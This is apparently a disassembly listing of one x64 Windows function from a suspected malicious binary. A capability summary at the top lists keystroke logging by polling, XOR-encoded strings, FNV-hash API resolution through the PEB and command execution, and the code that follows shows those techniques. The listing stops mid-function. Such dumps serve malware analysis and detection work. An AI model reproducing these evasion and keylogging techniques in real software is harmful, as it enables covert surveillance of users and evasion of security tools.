Function at 0x7ff77f2e78b0
Capabilities:
Access peb ldr_data
Encode data using xor
Execute command
Hash data using fnv
Log keystrokes via polling
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r12
push rbp
push r14
push r15
lea rbp, [rax - 0x2c8]
sub rsp, 0x3b0
movaps xmmword [rax - 0x28], xmm6
movaps xmmword [rax - 0x38], xmm7
movaps xmmword [rax - 0x48], xmm8
mov rax, qword [0x7ff77f37b080]
xor rax, rsp
mov qword [rbp + 0x270], rax
movups xmm0, xmmword [0x7ff77f367360]
movups xmmword [rbp + 0xf8], xmm0
mov eax, dword [0x7ff77f367370]
mov dword [rbp + 0x108], eax
movzx eax, word [0x7ff77f367374]
mov word [rbp + 0x10c], ax
movzx eax, byte [0x7ff77f367376]
mov byte [rbp + 0x10e], al
xor r8d, r8d
cmp dword [0x7ff77f37b090], 2
jl 0x7ff77f2e7a8b
movdqa xmm5, xmmword [0x7ff77f36fcf0]
movdqa xmm4, xmmword [0x7ff77f36fdc0]
mov eax, 5
movd xmm6, eax
movdqa xmm7, xmmword [0x7ff77f36fd30]
mov eax, 0x1f
movd xmm8, eax
movdqa xmm0, xmmword [0x7ff77f36fd60]
movdqa xmmword [rbp + 0x20], xmm0
lea rcx, [rbp + 0xfc]
mov edx, dword [rbp + 0x20]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x7ff77f36fd40]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x7ff77f36fd40]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x7ff77f2e7980
cmp r8d, 0x17
jge 0x7ff77f2e7ad3
movsxd rax, r8d
lea r9, [rbp + 0xf8]
add r9, rax
nop dword [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x17
jl 0x7ff77f2e7aa0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov rbx, qword [rax + 0x30]
movsxd rcx, dword [rbx + 0x3c]
mov r14d, dword [rcx + rbx + 0x88]
add r14, rbx
cmp r14, rbx
je 0x7ff77f2e7b78
mov r11d, dword [r14 + 0x18]
test r11d, r11d
je 0x7ff77f2e7b78
mov esi, dword [r14 + 0x20]
nop word [rax + rax]
dec r11d
lea rcx, [rsi + r11*4]
mov r9d, dword [rcx + rbx]
add r9, rbx
mov r10d, 0xdb952d26
movzx ecx, byte [r9]
inc r9
test cl, cl
je 0x7ff77f2e7b73
nop
movsx edx, cl
sub cl, 0x41
mov r8d, edx
or r8d, 0x20
cmp cl, 0x19
cmova r8d, edx
xor r8d, r10d
imul r10d, r8d, 0x1000193
movzx ecx, byte [r9]
lea r9, [r9 + 1]
test cl, cl
jne 0x7ff77f2e7b40
cmp r10d, 0xaa8510ca
je 0x7ff77f2e7b80
test r11d, r11d
jne 0x7ff77f2e7b20
mov rax, qword [rax]
jmp 0x7ff77f2e7af0
mov ecx, dword [r14 + 0x1c]
add rcx, rbx
mov eax, dword [r14 + 0x24]
add rax, rbx
movzx eax, word [rax + r11*2]
mov edx, dword [rcx + rax*4]
add rdx, rbx
lea rcx, [rbp + 0xf8]
call rdx
mov rcx, qword [0x7ff77f37bf20]
call fcn.7ff77f2f2650
cmp eax, 1
jne 0x7ff77f2e95fc
mov rcx, qword [0x7ff77f37bf10]
call fcn.7ff77f2ec740
test eax, eax
jne 0x7ff77f2e95fc
mov rcx, qword [0x7ff77f37bf18]
call fcn.7ff77f2e4570
test eax, eax
jne 0x7ff77f2e95fc
mov r12, qword [0x7ff77f48f400]
mov dword [rbp + 0x30], 0xbbbfb2b0
mov dword [rbp + 0x34], 0xcd858f89
mov dword [rbp + 0x38], 0xeccbca
mov byte [rbp + 0x3c], 1
lea rcx, [rbp + 0x30]
call fcn.7ff77f2e6160
mov dword [rbp - 0x28], 0xf2f3e1fc
mov dword [rbp - 0x24], 0x100c1de
lea rcx, [rbp - 0x28]
call fcn.7ff77f2e77f0
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x28]
mov r15, 0xffffffffffffffff
mov rax, r15
inc rax
cmp byte [rcx + rax], 0
jne 0x7ff77f2e7c31
lea r8, [rbp - 0x28]
add r8, rax
lea r9, [rbp + 0x44]
lea rcx, [rbp + 0x170]
call fcn.7ff77f2e77a0
nop
cmp dword [r12 + 0x10], 0
jne 0x7ff77f2e7c9d
mov rbx, qword [sym.imp.msvcp140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov word [rsp + 0x48], 0xd6
mov byte [rsp + 0x4a], 1
lea rcx, [rsp + 0x48]
call fcn.7ff77f2e6850
lea rdx, [rsp + 0x48]
mov rcx, rbx
call fcn.7ff77f2e6c30
lea rdx, [0x7ff77f2e75a0]
mov rcx, rax
call qword [sym.imp.msvcp140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___class_std::basic_istream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_istream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov dword [r12 + 0x10], 1
mov rbx, qword [sym.imp.msvcp140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov dword [rbp - 0x20], 0xfffefdfc
mov word [rbp - 0x1c], 0xc0
mov byte [rbp - 0x1a], 1
lea rcx, [rbp - 0x20]
call fcn.7ff77f2e67f0
lea rdx, [rbp - 0x20]
mov rcx, rbx
call fcn.7ff77f2e6c30
mov rbx, qword [sym.imp.msvcp140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov word [rsp + 0x3c], 0x87
mov byte [rsp + 0x3e], 1
lea rcx, [rsp + 0x3c]
call fcn.7ff77f2e6850
lea rdx, [rsp + 0x3c]
mov rcx, rbx
call fcn.7ff77f2e6c30
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov rbx, qword [rax + 0x30]
movsxd rcx, dword [rbx + 0x3c]
mov r14d, dword [rcx + rbx + 0x88]
add r14, rbx
cmp r14, rbx
je 0x7ff77f2e7d99
mov r11d, dword [r14 + 0x18]
test r11d, r11d
je 0x7ff77f2e7d99
mov esi, dword [r14 + 0x20]
nop word [rax + rax]
dec r11d
lea rcx, [rbx + r11*4]
mov r9d, dword [rcx + rsi]
add r9, rbx
mov r10d, 0xb97fe996
movzx r8d, byte [r9]
inc r9
test r8b, r8b
je 0x7ff77f2e7d94
movsx ecx, r8b
sub r8b, 0x41
mov edx, ecx
or edx, 0x20
cmp r8b, 0x19
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
movzx r8d, byte [r9]
lea r9, [r9 + 1]
test r8b, r8b
jne 0x7ff77f2e7d60
cmp r10d, 0xb7a916d0
je 0x7ff77f2e7da1
test r11d, r11d
jne 0x7ff77f2e7d40
mov rax, qword [rax]
jmp 0x7ff77f2e7d10
mov ecx, dword [r14 + 0x1c]
add rcx, rbx
mov eax, dword [r14 + 0x24]
add rax, rbx
movzx eax, word [rax + r11*2]
mov r8d, dword [rcx + rax*4]
add r8, rbx
mov edx, 0xe
mov rcx, qword [r12]
call r8
mov rbx, qword [sym.imp.msvcp140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rcx, [rbp + 0x170]
call fcn.7ff77f2e6860
mov rdx, rax
mov rcx, rbx
call fcn.7ff77f2e6c30
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov rbx, qword [rax + 0x30]
movsxd rcx, dword [rbx + 0x3c]
mov r14d, dword [rcx + rbx + 0x88]
add r14, rbx
cmp r14, rbx
je 0x7ff77f2e7e89
mov r11d, dword [r14 + 0x18]
test r11d, r11d
je 0x7ff77f2e7e89
mov esi, dword [r14 + 0x20]
nop word [rax + rax]
dec r11d
lea rcx, [rbx + r11*4]
mov r9d, dword [rcx + rsi]
add r9, rbx
mov r10d, 0x40225b2c
movzx r8d, byte [r9]
inc r9
test r8b, r8b
je 0x7ff77f2e7e84
movsx ecx, r8b
sub r8b, 0x41
mov edx, ecx
or edx, 0x20
cmp r8b, 0x19
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
movzx r8d, byte [r9]
lea r9, [r9 + 1]
test r8b, r8b
jne 0x7ff77f2e7e50
cmp r10d, 0x3ef15572
je 0x7ff77f2e7e91
test r11d, r11d
jne 0x7ff77f2e7e30
mov rax, qword [rax]
jmp 0x7ff77f2e7e00
mov ecx, dword [r14 + 0x1c]
add rcx, rbx
mov eax, dword [r14 + 0x24]
add rax, rbx
movzx eax, word [rax + r11*2]
mov r8d, dword [rcx + rax*4]
add r8, rbx
mov edx, 7
mov rcx, qword [r12]
call r8
mov rbx, qword [sym.imp.msvcp140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov dword [rbp - 0x58], 0x100fd81
lea rcx, [rbp - 0x58]
call fcn.7ff77f2e6820
lea rdx, [rbp - 0x58]
mov rcx, rbx
call fcn.7ff77f2e6c30
nop
lea rcx, [rbp + 0x170]
call fcn.7ff77f2e6870
lea rdx, [rbp + 0x30]
mov rcx, qword [sym.imp.msvcp140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.7ff77f2e6c30
mov rax, qword [0x7ff77f48f3b8]
test rax, rax
jne 0x7ff77f2e7fc8
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r12, qword [rax]
mov r14, r12
nop
mov r11, qword [r14 + 0x30]
movsxd rax, dword [r11 + 0x3c]
mov esi, dword [rax + r11 + 0x88]
add rsi, r11
cmp rsi, r11
je 0x7ff77f2e7fa9
mov r10d, dword [rsi + 0x18]
test r10d, r10d
je 0x7ff77f2e7fa9
mov edi, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r10d
lea rax, [rdi + r10*4]
mov r8d, dword [rax + r11]
add r8, r11
mov r9d, 0x76fdb006
movzx edx, byte [r8]
inc r8
test dl, dl
je 0x7ff77f2e7fa4
nop
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, r9d
imul r9d, ecx, 0x1000193
movzx edx, byte [r8]
lea r8, [r8 + 1]
test dl, dl
jne 0x7ff77f2e7f70
cmp r9d, 0x20ca169
je 0x7ff77f2e81a1
test r10d, r10d
jne 0x7ff77f2e7f50
mov rax, qword [r14]
mov r14, rax
cmp rax, r12
je 0x7ff77f2e7fbf
cmp qword [rax + 0x30], 0
jne 0x7ff77f2e7f20
xor eax, eax
mov qword [0x7ff77f48f3b8], rax
mov ecx, 0x7d0
call rax
lea rcx, [0x7ff77f367348]
call qword [sym.imp.ucrtbase.dll_system]
mov r12, qword [0x7ff77f48f400]
movdqa xmm0, xmmword [0x7ff77f36fde0]
movdqu xmmword [rbp + 0xb0], xmm0
mov dword [rbp + 0xc0], 0x100e79e
lea rcx, [rbp + 0xb0]
call fcn.7ff77f2e6190
mov dword [rbp - 0x80], 0xf2f3e1fc
mov dword [rbp - 0x7c], 0x100c1de
lea rcx, [rbp - 0x80]
call fcn.7ff77f2e77f0
lea rdx, [rbp - 0x80]
lea rcx, [rbp - 0x80]
mov rax, r15
nop dword [rax + rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x7ff77f2e8030
lea r8, [rbp - 0x80]
add r8, rax
lea r9, [rbp + 0x40]
lea rcx, [rbp + 0x190]
call fcn.7ff77f2e77a0
nop
cmp dword [r12 + 0x10], 0
jne 0x7ff77f2e809c
mov rbx, qword [sym.imp.msvcp140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov word [rsp + 0x50], 0xd6
mov byte [rsp + 0x52], 1
lea rcx, [rsp + 0x50]
call fcn.7ff77f2e6850
lea rdx, [rsp + 0x50]
mov rcx, rbx
call fcn.7ff77f2e6c30
lea rdx, [0x7ff77f2e75a0]
mov rcx, rax
call qword [sym.imp.msvcp140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___class_std::basic_istream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_istream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov dword [r12 + 0x10], 1
mov rbx, qword [sym.imp.msvcp140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov dword [rbp - 0x10], 0xfffefdfc
mov word [rbp - 0xc], 0xc0
mov byte [rbp - 0xa], 1
lea rcx, [rbp - 0x10]
call fcn.7ff77f2e67f0
lea rdx, [rbp - 0x10]
mov rcx, rbx
call fcn.7ff77f2e6c30
mov rbx, qword [sym.imp.msvcp140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov word [rsp + 0x54], 0x87
mov byte [rsp + 0x56], 1
lea rcx, [rsp + 0x54]
call fcn.7ff77f2e6850
lea rdx, [rsp + 0x54]
mov rcx, rbx
call fcn.7ff77f2e6c30
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov rbx, qword [rax + 0x30]
movsxd rcx, dword [rbx + 0x3c]
mov r14d, dword [rcx + rbx + 0x88]
add r14, rbx
cmp r14, rbx
je 0x7ff77f2e8199
mov r11d, dword [r14 + 0x18]
test r11d, r11d
je 0x7ff77f2e8199
mov esi, dword [r14 + 0x20]
nop word [rax + rax]
dec r11d
lea rcx, [rbx + r11*4]
mov r9d, dword [rcx + rsi]
add r9, rbx
mov r10d, 0xb97fe996
movzx r8d, byte [r9]
inc r9
test r8b, r8b
je 0x7ff77f2e8194
movsx ecx, r8b
sub r8b, 0x41
mov edx, ecx
or edx, 0x20
cmp r8b, 0x19
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
movzx r8d, byte [r9]
lea r9, [r9 + 1]
test r8b, r8b
jne 0x7ff77f2e8160
cmp r10d, 0xb7a916d0
je 0x7ff77f2e81bd
test r11d, r11d
jne 0x7ff77f2e8140
mov rax, qword [rax]
jmp 0x7ff77f2e8110
mov ecx, dword [rsi + 0x1c]
add rcx, r11
mov eax, dword [rsi + 0x24]
add rax, r11
movzx eax, word [rax + r10*2]
mov eax, dword [rcx + rax*4]
add rax, r11
jmp 0x7ff77f2e7fc1
mov ecx, dword [r14 + 0x1c]
add rcx, rbx
mov eax, dword [r14 + 0x24]
add rax, rbx
movzx eax, word [rax + r11*2]
mov r8d, dword [rcx + rax*4]
add r8, rbx
mov edx, 0xe
mov rcx, qword [r12]
call r8
mov rbx, qword [sym.imp.msvcp140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rcx, [rbp + 0x190]
call fcn.7ff77f2e6860
mov rdx, rax
mov rcx, rbx
call fcn.7ff77f2e6c30
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov rbx, qword [rax + 0x30]
movsxd rcx, dword [rbx + 0x3c]
mov r14d, dword [rcx + rbx + 0x88]
add r14, rbx
cmp r14, rbx
je 0x7ff77f2e82a9
mov r11d, dword [r14 + 0x18]
test r11d, r11d
je 0x7ff77f2e82a9
mov esi, dword [r14 + 0x20]
nop word [rax + rax]
dec r11d
lea rcx, [rsi + r11*4]
mov r9d, dword [rcx + rbx]
add r9, rbx
mov r10d, 0x40225b2c
movzx r8d, byte [r9]
inc r9
test r8b, r8b
je 0x7ff77f2e82a4
movsx ecx, r8b
sub r8b, 0x41
mov edx, ecx
or edx, 0x20
cmp r8b, 0x19
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
movzx r8d, byte [r9]
lea r9, [r9 + 1]
test r8b, r8b
jne 0x7ff77f2e8270
cmp r10d, 0x3ef15572
je 0x7ff77f2e82b1
test r11d, r11d
jne 0x7ff77f2e8250
mov rax, qword [rax]
jmp 0x7ff77f2e8220
mov ecx, dword [r14 + 0x1c]
add rcx, rbx
mov eax, dword [r14 + 0x24]
add rax, rbx
movzx eax, word [rax + r11*2]
mov r8d, dword [rcx + rax*4]
add r8, rbx
mov edx, 7
mov rcx, qword [r12]
call r8
mov rbx, qword [sym.imp.msvcp140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov dword [rbp - 0x54], 0x100fd81
lea rcx, [rbp - 0x54]
call fcn.7ff77f2e6820
lea rdx, [rbp - 0x54]
mov rcx, rbx
call fcn.7ff77f2e6c30
nop
lea rcx, [rbp + 0x190]
call fcn.7ff77f2e6870
lea rdx, [rbp + 0xb0]
mov rcx, qword [sym.imp.msvcp140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.7ff77f2e6c30
mov r12, qword [0x7ff77f48f400]
movdqa xmm0, xmmword [0x7ff77f36fe00]
movdqu xmmword [rbp + 0xc8], xmm0
mov word [rbp + 0xd8], 0xe5
mov byte [rbp + 0xda], 1
lea rcx, [rbp + 0xc8]
call fcn.7ff77f2e9af0
mov dword [rbp - 0x30], 0xf2f3e1fc
mov dword [rbp - 0x2c], 0x100c1de
lea rcx, [rbp - 0x30]
call fcn.7ff77f2e77f0
lea rdx, [rbp - 0x30]
lea rcx, [rbp - 0x30]
mov rax, r15
nop
inc rax
cmp byte [rcx + rax], 0
jne 0x7ff77f2e8370
lea r8, [rbp - 0x30]
add r8, rax
lea r9, [rbp + 0x41]
lea rcx, [rbp + 0x1b0]
call fcn.7ff77f2e77a0
nop
cmp dword [r12 + 0x10], 0
jne 0x7ff77f2e83dc
mov rbx, qword [sym.imp.msvcp140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov word [rsp + 0x58], 0xd6
mov byte [rsp + 0x5a], 1
lea rcx, [rsp + 0x58]
call fcn.7ff77f2e6850
lea rdx, [rsp + 0x58]
mov rcx, rbx
call fcn.7ff77f2e6c30
lea rdx, [0x7ff77f2e75a0]
mov rcx, rax
call qword [sym.imp.msvcp140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___class_std::basic_istream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_istream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov dword [r12 + 0x10], 1
mov rbx, qword [sym.imp.msvcp140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov dword [rbp + 0x18], 0xfffefdfc
mov word [rbp + 0x1c], 0xc0
mov byte [rbp + 0x1e], 1
lea rcx, [rbp + 0x18]
call fcn.7ff77f2e67f0
lea rdx, [rbp + 0x18]
mov rcx, rbx
call fcn.7ff77f2e6c30
mov rbx, qword [sym.imp.msvcp140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov word [rsp + 0x5c], 0x87
mov byte [rsp + 0x5e], 1
lea rcx, [rsp + 0x5c]
call fcn.7ff77f2e6850
lea rdx, [rsp + 0x5c]
mov rcx, rbx
call fcn.7ff77f2e6c30
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov rbx, qword [rax + 0x30]
movsxd rcx, dword [rbx + 0x3c]
mov r14d, dword [rcx + rbx + 0x88]
add r14, rbx
cmp r14, rbx
je 0x7ff77f2e84d9
mov r11d, dword [r14 + 0x18]
test r11d, r11d
je 0x7ff77f2e84d9
mov esi, dword [r14 + 0x20]
nop word [rax + rax]
dec r11d
lea rcx, [rbx + r11*4]
mov r9d, dword [rcx + rsi]
add r9, rbx
mov r10d, 0xb97fe996
movzx r8d, byte [r9]
inc r9
test r8b, r8b
je 0x7ff77f2e84d4
movsx ecx, r8b
sub r8b, 0x41
mov edx, ecx
or edx, 0x20
cmp r8b, 0x19
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
movzx r8d, byte [r9]
lea r9, [r9 + 1]
test r8b, r8b
jne 0x7ff77f2e84a0
cmp r10d, 0xb7a916d0
je 0x7ff77f2e84e1
test r11d, r11d
jne 0x7ff77f2e8480
mov rax, qword [rax]
jmp 0x7ff77f2e8450
mov ecx, dword [r14 + 0x1c]
add rcx, rbx
mov eax, dword [r14 + 0x24]
add rax, rbx
movzx eax, word [rax + r11*2]
mov r8d, dword [rcx + rax*4]
add r8, rbx
mov edx, 0xe
mov rcx, qword [r12]
call r8
mov rbx, qword [sym.imp.msvcp140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rcx, [rbp + 0x1b0]
call fcn.7ff77f2e6860
mov rdx, rax
mov rcx, rbx
call fcn.7ff77f2e6c30
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov rbx, qword [rax + 0x30]
movsxd rcx, dword [rbx + 0x3c]
mov r14d, dword [rcx + rbx + 0x88]
add r14, rbx
cmp r14, rbx
je 0x7ff77f2e85c9
mov r11d, dword [r14 + 0x18]
test r11d, r11d
je 0x7ff77f2e85c9
mov esi, dword [r14 + 0x20]
nop word [rax + rax]
dec r11d
lea rcx, [rsi + r11*4]
mov r9d, dword [rcx + rbx]
add r9, rbx
mov r10d, 0x40225b2c
movzx r8d, byte [r9]
inc r9
test r8b, r8b
je 0x7ff77f2e85c4
movsx ecx, r8b
sub r8b, 0x41
mov edx, ecx
or edx, 0x20
cmp r8b, 0x19
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
movzx r8d, byte [r9]
lea r9, [r9 + 1]
test r8b, r8b
jne 0x7ff77f2e8590
cmp r10d, 0x3ef15572
je 0x7ff77f2e85d1
test r11d, r11d
jne 0x7ff77f2e8570
mov rax, qword [rax]
jmp 0x7ff77f2e8540
mov ecx, dword [r14 + 0x1c]
add rcx, rbx
mov eax, dword [r14 + 0x24]
add rax, rbx
movzx eax, word [rax + r11*2]
mov r8d, dword [rcx + rax*4]
add r8, rbx
mov edx, 7
mov rcx, qword [r12]
call r8
mov rbx, qword [sym.imp.msvcp140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov dword [rbp - 0x50], 0x100fd81
lea rcx, [rbp - 0x50]
call fcn.7ff77f2e6820
lea rdx, [rbp - 0x50]
mov rcx, rbx
call fcn.7ff77f2e6c30
nop
lea rcx, [rbp + 0x1b0]
call fcn.7ff77f2e6870
lea rdx, [rbp + 0xc8]
mov rcx, qword [sym.imp.msvcp140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.7ff77f2e6c30
mov r12, qword [0x7ff77f48f400]
movdqa xmm0, xmmword [0x7ff77f36fe10]
movdqu xmmword [rbp + 0x48], xmm0
mov dword [rbp + 0x58], 0x819d9186
mov word [rbp + 0x5c], 0xf9
mov byte [rbp + 0x5e], 1
lea rcx, [rbp + 0x48]
call fcn.7ff77f2e9ac0
mov dword [rbp - 0x78], 0xf2f3e1fc
mov dword [rbp - 0x74], 0x100c1de
lea rcx, [rbp - 0x78]
call fcn.7ff77f2e77f0
lea rdx, [rbp - 0x78]
lea rcx, [rbp - 0x78]
mov rax, r15
nop word [rax + rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x7ff77f2e8690
lea r8, [rbp - 0x78]
add r8, rax
lea r9, [rsp + 0x38]
lea rcx, [rbp + 0x1d0]
call fcn.7ff77f2e77a0
nop
cmp dword [r12 + 0x10], 0
jne 0x7ff77f2e86fd
mov rbx, qword [sym.imp.msvcp140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov word [rsp + 0x60], 0xd6
mov byte [rsp + 0x62], 1
lea rcx, [rsp + 0x60]
call fcn.7ff77f2e6850
lea rdx, [rsp + 0x60]
mov rcx, rbx
call fcn.7ff77f2e6c30
lea rdx, [0x7ff77f2e75a0]
mov rcx, rax
call qword [sym.imp.msvcp140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___class_std::basic_istream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_istream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov dword [r12 + 0x10], 1
mov rbx, qword [sym.imp.msvcp140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov dword [rbp - 0x18], 0xfffefdfc
mov word [rbp - 0x14], 0xc0
mov byte [rbp - 0x12], 1
lea rcx, [rbp - 0x18]
call fcn.7ff77f2e67f0
lea rdx, [rbp - 0x18]
mov rcx, rbx
call fcn.7ff77f2e6c30
mov rbx, qword [sym.imp.msvcp140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov word [rsp + 0x64], 0x87
mov byte [rsp + 0x66], 1
lea rcx, [rsp + 0x64]
call fcn.7ff77f2e6850
lea rdx, [rsp + 0x64]
mov rcx, rbx
call fcn.7ff77f2e6c30
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov rbx, qword [rax + 0x30]
movsxd rcx, dword [rbx + 0x3c]
mov r14d, dword [rcx + rbx + 0x88]
add r14, rbx
cmp r14, rbx
je 0x7ff77f2e87f9
mov r11d, dword [r14 + 0x18]
test r11d, r11d
je 0x7ff77f2e87f9
mov esi, dword [r14 + 0x20]
nop word [rax + rax]
dec r11d
lea rcx, [rsi + r11*4]
mov r9d, dword [rcx + rbx]
add r9, rbx
mov r10d, 0xb97fe996
movzx r8d, byte [r9]
inc r9
test r8b, r8b
je 0x7ff77f2e87f4
movsx ecx, r8b
sub r8b, 0x41
mov edx, ecx
or edx, 0x20
cmp r8b, 0x19
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
movzx r8d, byte [r9]
lea r9, [r9 + 1]
test r8b, r8b
jne 0x7ff77f2e87c0
cmp r10d, 0xb7a916d0
je 0x7ff77f2e8801
test r11d, r11d
jne 0x7ff77f2e87a0
mov rax, qword [rax]
jmp 0x7ff77f2e8770
mov ecx, dword [r14 + 0x1c]
add rcx, rbx
mov eax, dword [r14 + 0x24]
add rax, rbx
movzx eax, word [rax + r11*2]
mov r8d, dword [rcx + rax*4]
add r8, rbx
mov edx, 0xe
mov rcx, qword [r12]
call r8
mov rbx, qword [sym.imp.msvcp140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rcx, [rbp + 0x1d0]
call fcn.7ff77f2e6860
mov rdx, rax
mov rcx, rbx
call fcn.7ff77f2e6c30
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov rbx, qword [rax + 0x30]
movsxd rcx, dword [rbx + 0x3c]
mov r14d, dword [rcx + rbx + 0x88]
add r14, rbx
cmp r14, rbx
je 0x7ff77f2e88e9
mov r11d, dword [r14 + 0x18]
test r11d, r11d
je 0x7ff77f2e88e9
mov esi, dword [r14 + 0x20]
nop word [rax + rax]
dec r11d
lea rcx, [rsi + r11*4]
mov r9d, dword [rcx + rbx]
add r9, rbx
mov r10d, 0x40225b2c
movzx r8d, byte [r9]
inc r9
test r8b, r8b
je 0x7ff77f2e88e4
movsx ecx, r8b
sub r8b, 0x41
mov edx, ecx
or edx, 0x20
cmp r8b, 0x19
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
movzx r8d, byte [r9]
lea r9, [r9 + 1]
test r8b, r8b
jne 0x7ff77f2e88b0
cmp r10d, 0x3ef15572
je 0x7ff77f2e88f1
test r11d, r11d
jne 0x7ff77f2e8890
mov rax, qword [rax]
jmp 0x7ff77f2e8860
mov ecx, dword [r14 + 0x1c]
add rcx, rbx
mov eax, dword [r14 + 0x24]
add rax, rbx
movzx eax, word [rax + r11*2]
mov r8d, dword [rcx + rax*4]
